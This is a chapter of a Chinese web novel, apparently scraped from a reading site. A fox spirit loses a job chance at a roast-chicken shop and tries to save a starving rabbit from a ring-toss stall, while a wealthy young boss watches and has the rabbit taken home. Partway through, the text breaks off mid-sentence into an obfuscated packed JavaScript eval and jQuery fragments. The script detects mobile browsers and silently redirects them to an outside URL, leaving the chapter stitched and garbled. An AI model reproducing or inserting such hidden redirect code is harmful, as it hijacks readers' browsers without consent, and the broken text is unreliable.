默认冷灰
24号文字
方正启体

11. 狐永失所爱

作者:分割麦浪本书字数:K更新时间:
    胡小白很快便将方才的不快抛诸脑后。


    他生来如此,愁绪像檐下的水珠,滴答一声便散了。


    窗外雨已歇,天色是种灰扑扑的亮。


    于是胡小白兴冲冲地出门,准备去面试烧鸡店的小二。


    没有小黄狗引路,他在迷宫似的校园几番兜转。


    好容易赶到时,店里探出张青涩又带着点得意的面孔:“啊哈,不好意思,十分钟之前他们刚招了我!”


    胡小白不死心,伸长脖颈往里瞧:“还招吗?”


    “不招了。”那人朝外努嘴,“喏,招工告示都撕干净了。”


    胡小白的心倏地一沉,只差十分钟?早知道不看那碎纸了!


    一股酸涩猛地涌上鼻尖,他央求道:“再招一个吧,我不要工钱都可以的!”


    这话未经思量,带着孤注一掷的天真。


    没想到那人脸色骤变,随即勃然大怒,手指几乎戳到他鼻尖,指着外面叫他滚:“死工贼!神经病!我好心跟你讲,你居然还想抢我工作!”


    胡小白不知道自己做错了什么,他惶惑地摇着头:“没有,没有,狐没有想抢你的工作……”


    辩解的话未说完,那人已抄起湿漉漉的拖把,示威般挥舞起来:“滚!赶紧给老子滚!别再让我看见你!”


    胡小白呆立着,忘了躲闪。


    那人没想到胡小白不躲,拖把横扫过来,“啪”地一声闷响,不偏不倚打在他脚踝上。


    污浊的水渍在裤管洇开,像一块丑陋的胎记。


    这一下不是很疼,只是又牵连起一点不好的回忆。


    胡小白好像又回到自己还是小狐狸的时候,比起其他狐狸,他长得有些慢,小狗羔子那么大,白绒绒一团,天天缠着要听故事。


    兴许是听多了好妖好事,那么小一团的狐狸,居然也能勇猛地从孤狼口里救下一个迷路的小孩。


    胡小白满心欢喜地领着小孩送回家去,以为能获得一点犒赏,明明故事里都是这么写的。


    可是,可是。


    满村的狗狂吠着,通通松了锁链,朝他扑来。


    他下意识朝人跑去,却被村民挥舞的扫帚拦倒在地,被狼咬伤的后腿跑不快,身后的狗追兵又是那么凶,他来不及诉苦,只能呜呜地拖着腿奔向山林。


    其实不疼的,修炼有时候比这疼得多呢……只是,只是。


    胡小白说不清楚。


    “你……没事吧?”那人见他不动,反倒有些讪讪,旋即又嘟囔着掩饰,“谁叫你不走……”


    胡小白就扭头走了,走了很远,忍不住又回头。


    他远远地看着烧鸡,烧鸡远远地看着他,两情相悦,可彼此却不发生关系,不知道天底下还有比这更难受的事情没有。


    但胡小白很快释然了,还会有机会的,大不了不当小工了,他以后攒钱自己开店,王边木说只要一百万,只要一百万,想烤多少鸡都行呢!


    到时候,他当个好老板,不会用扫把打那些馋兮兮的狐狸的。


    胡小白深深地嗅了一口空气中的甜香,近乎贪婪。


    不亏,不亏,胡小白安慰自己,闻闻香味也很不错呢!


    这样想着,他又露出一个满足的笑来,眼睛四处看着。


    前方恰巧围着一圈人,喝彩声此起彼伏。胡小白最爱看热闹,忙不迭挤了进去。


    面前琳琅摆着许多奖品:劣质小马达机器人、怪模怪样的娃娃、灿烂的水晶球……


    一人手里攥着一大把彩色塑料圈,人群随着他每一次投掷屏息、惊呼、惋惜。每次差点中了,人群就押中宝似的惊呼,随后圈子就被弹开,人群又“哎呀可惜”地叫起来。


    胡小白看得津津有味,手痒痒的,盘算着要是轮到自己丢,他要如何如何丢圈子,也许能套个大奖回去。


    什么时候把圈子给胡小白呢?他期待地望着老板,可老板的圈子越过他,只递给付了钱的人。


    胡小白这才咂摸出滋味——原来这个是要钱的。


    胡小白想,这是很不好的,他没有多余的钱用来套圈,他的钱都要攒起来开店呢!


    他悻悻然挤出人群,转身欲走,眼角余光却蓦地瞥见一抹灰白的毛绒。


    ——那是一只兔子,被困在铁笼里,是众多奖品中不大起眼的一个。


    鬼使神差地,胡小白矮身钻过彩绳,蹲下来,手指迟疑地探向那只兔子。


    蓬蓬的毛是障眼的假象,嶙峋的肋骨清晰可感,身下是一滩浑浊发黄的水,散发着刺鼻的骚气。


    兔子没有躲。尽管胡小白身上天敌的气味扑面而来,它也只是微微瑟缩了一下。呆滞、麻木,仿佛失去了所有反抗的本能,温顺地沉默下去。


    不该是这样的,胡小白想。


    其实胡小白对兔子一直有偏见,只觉得十分美味。


    他不是没有吃过兔子。肥的、瘦的、老得硌牙的、嫩得鲜活的……他统统吃过,他是狐狸,没理由捉了兔子不吃,他需要食物来度过他的严冬。


    但这有个前提。那必须是在茫茫雪野,或者在呼啸的山风里,他和兔子展开一场筋疲力竭的追逐。也许是跑到腿肚抽筋,也许喘的热气升腾着在睫毛上凝了冰珠,也许是埋在雪里狠狠地潜伏一下午,冻到鼻子变成石头。


    胡小白赢了,那兔子就进肚子。兔子赢了,那么胡小白就饿肚子。


    即使胡小白最后饿得神志不清,徒劳地舔舐那些早已空瘪的零食垃圾袋——也绝不会对任何一只兔子生出怨怼。


    世界应该是这么运转的。


    ……而不是现在这样。兔子在人类的笼子里,被毫无反抗地当成一个奖品,任由路过的狐狸欺辱。


    胡小白觉得很难过,比自己被烧鸡店打出去还要难过。


    “喂!干什么呢?!”套圈摊的老板是个膀大腰圆、脖颈粗短的男人,他狠狠地吼胡小白,这个不经过他允许就私自钻进来的坏家伙。


    胡小白抹抹眼睛,有些央求地说:“给它吃点东西吧,不能这么对它的。”


    “我在做生意,不是做慈善!”老板粗鲁地挥着手,像驱赶苍蝇,“滚一边儿去!别耽误老子挣钱!”


    胡小白执拗地蹲在原地,不肯走。有小孩来套圈,正看上这只兔子,圈砸在铁丝笼上,震得这个笼子“哐当”刺响,兔子却木楞地没反应。


    胡小白反倒是被震得一跳,那些圈像是朝他脖颈而来的。


    他默默地拾起那些圈,却被老板抢去,交到下一个人类手里。


    胡小白在这里陪了兔子一会,老板频频看向他,过了一会,软了语气。


    “你把它套回去。”老板拍了拍他的肩膀,粗声粗气地,“只有这一种方法……我也要生活的。”


    他没好气地翻个白眼:“跟我那傻闺女一个倔劲儿,真不懂图个啥。”


    胡小白知道,这很难的。


    轻飘飘的塑料圈甚至比笼子还小一些,一阵风都能吹歪。套到这个兴许要花很多钱,而他的钱要攒去开店。


    况且,他没有地方安置这只兔子,宿舍是不让养的,并且他是天敌,兔子胆小,也许会被吓死……


    但是,那又怎么样呢?


    尽管有那么多坏理由,也许胡小白会花很多钱,也许这只愚笨的兔子不会记得他的好,也许胡小白克服了一切苦难但这只兔子突兀地死在放归山野的前一天,也许,也许……


    可他如果不去,这只兔子只能毫无尊严的死在粪水里。


    一股决绝的热流冲上头顶,胡小白猛地跳起来。


    “我回去拿钱。”


    胡小白决定不让这一切发生


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004762|194026||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    ·


    学校侧门开在闹市的一角。不,倒不如说是纷繁的摊贩攀着学校的侧门缠成了闹市。


    电动车叭叭掠过,谈笑的学生匆匆。套圈的摊子不大讲究,廉价包装纸凌乱散落,在柏油路上铺开。污糟之上,喧闹声远,一辆卡宴汽车静静伏在一旁。


    “靳总,选修学分的文件拿到了,相关程序也办妥了,可以回去了。”助理小梁拉开车门,低声汇报,随即示意司机老刘开车。


    “稍等。”后座传来轻飘飘地否决。


    靳聿交叠着修长的双腿,膝上摊着一份文件,许久没能翻动一页——他微微撑着额角,嘴角噙一点笑,正看着车外那个与兔子笼较劲的年轻人。


    小梁愣了一下,循着年轻老板的视线望去,只看到一个穿着普通、蹲在兔子笼前的年轻人和老板争执了几句,说了什么,他也懒得去辨认。


    随后,那年轻人像下了什么破釜沉舟的决心似的,转身飞快地跑开了,风鼓起他空荡的裤管。


    他小声问司机:“咋了?”


    司机老陈没吭声。


    没曾想,私底下向来惜字如金的年轻老板,却意外地开了口:“有个理想主义者。”


    他眼皮半垂,眸光虚浮,看起来倒是平和文雅——小梁在心里撇嘴,大恶魔来的。


    “啊……”小梁讪讪地应着,实在不明白这平凡一幕有何深刻可言,他绞尽脑汁想捧个场,“呃……这个世界……世界还是需要理想主义者的吧……”


    话一出口便觉不妥。


    果然,靳聿喉间逸出一声极轻的笑,他微笑地扭过头,薄唇轻启:“看来你也是。”


    “唔……好天真。”他停顿了一会儿又补充。


    小梁噤若寒蝉。


    真是的,老板明明年纪比他还小,气场却莫名压人,真搞不懂现在的年轻一代,神神叨叨讲什么呢,家里有钱真了不起,下辈子他也想这么拽地活一次。


    看着那单薄的身影消失在街角,车窗上只映出自己毫无表情的侧影。靳聿终于收回目光:“看着碍眼。”


    他垂眸,修长的手指终于翻过膝头文件的一页。


    还不快走?老板都说碍眼了!小梁急急地用眼神示意司机老刘。


    老刘暗示地跟他对视良久,无奈于这愣头青的迟钝,只得自己推门下车。


    他与那套圈老板低声交谈了几句,老板脸上的凶横瞬间被一种受宠若惊的谄媚取代,点头哈腰,随即毫不客气地开始驱散客人,手脚麻利地收拾摊档。


    过了几分钟,老刘回来了:“靳总,他把兔子留下了。”


    “要那东西做什么?”靳聿眼睛都没抬一下。


    “给小梁带回去玩吧。”老刘笑着说,“年轻人嘛,都喜欢养个小动物。”


    小梁莫名被点名,一愣,习惯性地推拒:“我就不要了……”这兔子蔫了吧唧的,看着就不吉利。


    “那就放下吧。”靳聿微一点头。


    行吧,其实并没人关心我的意见,我也没必要张嘴讨嫌。小梁助理心里想,给我我就拿着,待会先搜搜做法。


    可当车子平稳地停在豪华的庄园门前时,小梁迫不及待伸出的手却落了空。


    老刘亲自提着那只简陋的铁丝笼,径直走向了等候在门口、制服笔挺的管家,还叮嘱要好生饲养,不可怠慢。


    管家微微躬身,双手恭敬地接过笼子,脸上是训练有素的肃然。


    诶?不是给我么?小梁呆愣地看着老板,指望他帮忙做主,可平日里耳听八方的老板这回好像没听见一样径直进了门。


    他攥着手机,上面红烧兔肉的图片油亮亮,本来许给他的兔子却不见了踪影,登堂入室,从他的盘中餐摇身一变成老板的座上宾。


    小梁有点委屈,这不是溜他玩吗?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)